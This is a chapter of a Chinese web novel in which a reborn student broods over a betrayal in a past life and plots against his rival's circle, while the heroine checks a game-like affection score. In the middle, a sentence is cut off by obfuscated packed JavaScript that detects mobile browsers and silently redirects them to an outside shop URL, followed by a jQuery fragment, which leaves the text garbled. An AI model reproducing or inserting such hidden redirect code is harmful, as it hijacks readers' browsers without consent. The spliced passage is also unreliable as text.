男生宿舍。
江既白洗完澡后,用浴巾抹干净身上的水分,头发仍然湿漉漉的,黑发在水的重力下垂,遮住他的眉眼,水珠沿着他的侧脸滑落,掠过下颌,最后滴落在锁骨凹陷处。
被水洗净后,他骨子里的那份淡漠反而愈发清晰明落,只余下一种釉质般清冷的光泽,沉静而疏离。
他将今天穿过的衬衫放进洗漱间的洗手台上,将皂体用清水打湿,揉搓出些许泡沫,然后把它放在衬衫底部,用手轻轻揉搓。那里有一个不易被人发现的,被热饮弄脏后的痕迹。
从湖边咖啡馆到图书馆有一段距离,他不想耽误太多时间,走路过程中有些急促,于是热饮不小心沾到了他的衣服上。
对于有洁癖的人来说,衣服上的污渍就像是有虫子钻进了他的身体里,十分难受。江既白出于本能地想要回到宿舍处理一下,但是心里又牵挂着另一件事-
宋薇拉。
看着她痛经而额头上发虚汗的模样,他心里觉得她又可气又可怜,还是记忆中那般不会照顾自己。也不知道她那个所谓完美的竹马是怎么照顾她的,之前她还因为贫血去了医务室。
今天,她估计只是想让他去随便买点咖啡和奶茶,如果真的只是普通同学,他多半只会出于礼貌去图书馆一层咖啡馆。
这些富家千金少爷,在学校里,贯会把他在内的清贫学生当作艾西斯学院给他们请的可以指挥的佣人,随便用钱可以打发。
江既白看的出来,宋薇拉今天也是这么想的。
在无数次欺骗和背叛后,他在内耗痛苦里学会观察宋薇拉真正的微表情,不会再被她的温柔欺骗-
她的高高在上看似平等针对所有人,但是对于清贫学生,她的这份高傲更加牢固不可撼动。当对他有新鲜感时,她会像变色龙那样一时伪装,当新鲜感褪去,她又会残忍地撕下一切面具,寻求下一场刺激,对旧人弃如敝履。
跟她的那位青梅竹马一样,只不过她掩藏的更好,对自己轻松得到的宝物招之即来呼之即去。
想到这里,阴暗蠕动的情绪化身为蜘蛛网,紧紧缠绕住江既白的心脏,一想到宋薇拉,和她的所作所为,这些蜘蛛网就越来越紧地锢住他,让他往深渊下沉,但同时-
让他感受到自己的存在和真实。
想到这些,江既白揉搓衣服污渍的力度不自觉加大,像是把所有的怨怼都发泄在上面,指节因过度用力而泛白、发青。
但他的面上仍然平静,就像一面无风的湖。
在高一下以前,宋薇拉对他来说,是那些不食人间烟火、不上进的少爷千金中的一位。
他时常关注Linkr,那里有他所需要的资源、权贵圈的热点、学校兼职……这些信息很琐碎,常常被一堆八卦闲谈淹没,他需要仔细辨别,才能拼凑出权贵阶层的轮廓与路径。
这些八卦闲谈中,宋薇拉占据了很大的篇幅,他被迫了解她很多或真或假的信息,但是并没有放在心上,因为他并不觉得她和他会有什么过多的交际,她的家族背景是时尚产业有关,他对计算机更加感兴趣。
直到几个月前一个再普通不过的夜晚-
思绪纷呈间,江既白稳住心神,不让过度猛烈的情绪再次控制自己。他拧开水龙头,水流先是急切地喷溅,随即在他手指的微调下逐渐变得平缓。
洗净衣服上的污渍后,他把衬衫拧干,然后走出洗漱间。
这时,室友张呈从外面回来,他看到江既白从洗漱间出来,手里拿着一个刚洗完的衣服,疑惑道:“我们宿舍不是有洗衣机吗,你为什么每次都要手洗,多麻烦啊。”
江既白和张呈关系还可以,虽然不甚密切,但是也会聊一些不深入的话题。
只不过,张呈的这个问题已经问过江既白无数遍了,江既白也会回答过他很多次。
江既白边走向阳台边回答道:“洗衣服是我的一种解压方式。”
“奇怪的解压方式,”张呈嘟哝道,“用来洗衣服的时间还不如多打一盘游戏呢,这种解压方式才爽。”
江既白沉默,把衣服晾好后,径直回到自己的宿舍,拿出书桌上的数学竞赛题,心不在焉地按着题目顺序做下去。
数学计算对他来说是一件比喝水还简单的事,甚至没有挑战性到有些枯燥。幸运的事,从中,他能找寻到一种久违的内心平静,万物运行中有规律,只是目前的认知无法理解。
哪怕是前世今生这种颠覆性的事情发生在他的身上。
自从高一下偶然瞥见宋薇拉后,两世记忆交缠着,扭曲着,爆炸般刺激扰乱他的大脑神经,时常让他陷入风暴般深渊般的狂乱里。
凡身□□难以消化沉重粘稠的感情。
在夜晚的梦里,白日的幻觉里,江既白时常感觉有一个新的人格在他的细胞里、大脑里和精神里诞生。
他看见,一个对他来说还只是陌生人的女孩,大胆热烈地追求他,好像把全世界的阳光与玫瑰都给予他;
他看见,原本不为所动的自己步步沦陷,不自量力地幻想着爱能超越阶级,不断努力,只为了能配的上她;
这些幸福轻盈的情绪与记忆包裹着还没有经历过一切的江既白,但根植其中的,是翻天覆地的负面情绪-另一个他发现宋薇拉表演行为背后的冷情冷肺,花心多情。
他想割掉自己的心离开她,但她不许,骗心骗婚,然后变本加厉。
这些浓稠的记忆分食了这一世的他,他已经分不清,此时此刻,恨着宋薇拉的自己,是上一辈子的他,还是现在的他。
江既白外表柔和清冽,但他知道即使自己说不上睚眦必报,也不会让对不起自己的人好受。
浓烈的情绪操控着他,他书写着题目的笔一顿,轻薄崭新的纸上留下一道尖锐的墨迹,他面无表情地跳过这页试题。
卧室外,张呈正声音不小地跟他的双胞胎兄弟打着电话,张呈是谢世铮那伙人中的一个,不知道是不是因为不怕江既白泄密,他时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813899|185384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常毫无顾忌地在宿舍里聊一些话题。
因此,江既白知道,谢世铮,这个上辈子他从来没有关注过的人,跟宋薇拉走的比较近。
上辈子最开始面对宋薇拉的追求时,他是拒绝且不放心上的,当时他还算理智,不觉得她会是真心,直到高中毕业了才鬼迷心窍,跟着情绪走。
所以他对宋薇拉的高中部分人际圈,不是很清楚,啊,除了那个始终很碍眼的西维尔克劳德。
但是,他始终觉得自己胜券在握,因为宋薇拉会对他动心第一次,就会动心第二次。
而那件影响宋薇拉和他人生轨迹的事还没有发生。
现在的当务之急时,抓住这些潜在奸夫的把柄。
在做数学题的时候,江既白方才还波涛汹涌的心静了下来,理智回归。
他合上竞赛题本,拿出放在旁边的笔记本电脑,心里逐渐成型了一个计划-
首先是谢世铮。
...
把西维尔送自己的彩色蝴蝶发夹放好后,宋薇拉舒舒服服洗了一个澡,白露西说在冰箱里给她留了一些晚饭-是金汤鲍汁饭。
白露西Linkr上说,她用老鸡、火腿、猪骨、猪蹄、干贝熬制了几小时,话剧排练前,给宋薇拉好好补补。
金汤鲍汁饭浓稠鲜美,鲍鱼鲜嫩多汁,米饭有嚼劲,宋薇拉吃的很舒服,被数学蹂躏过后的心灵得到了极大的宽慰。
收拾完碗筷后,她躺在床上,点开Linkr,发现江既白给她发来了一条简洁的信息。
「江既白:记得复习,按艾宾浩斯遗忘曲线。」
艾什么,艾什么艾宾浩斯遗忘曲线。
宋薇拉一脑子雾水,上网查了一下,发现这个曲线过程还挺复杂,指的是通过有计划地间隔、回溯和交错知识点复习。
能想起来复习就不错了,还整这么复杂。
她打下几个字:
「Vera:好。」
宋薇拉翻回去之前的聊天记录,发现江既白并没有收她的钱。
她思考了一分钟,在脑海里喊出系统,「查询一下江既白现在对我的好感度。」
脑海里传来一阵失真的噪音,然后系统平静的电子音传来,「经查询,江既白目前对宿主的好感度为-」
「1」
宋薇拉:???
怎么还是一,上次查询也是一,现在也是一,一分没涨一分也没见减。
一个人是怎么做到对另外一个人好感度不变的呢。
今天发生的事情仔细看下来挺多的,热饮、数学辅导、西维尔绵里藏针的挑衅。
仔细看来都是麻烦江既白的事,所以他对她的好感度减到负数也不是不能够理解,毕竟自己好像无意中确实把他得罪了,也或许会被西维尔的行为连带。
只是没想到好感度还是一,就跟游戏里的数值卡壳了一般。
宋薇拉苦恼地思考了一会,没有什么思路,心道感情这事可真复杂。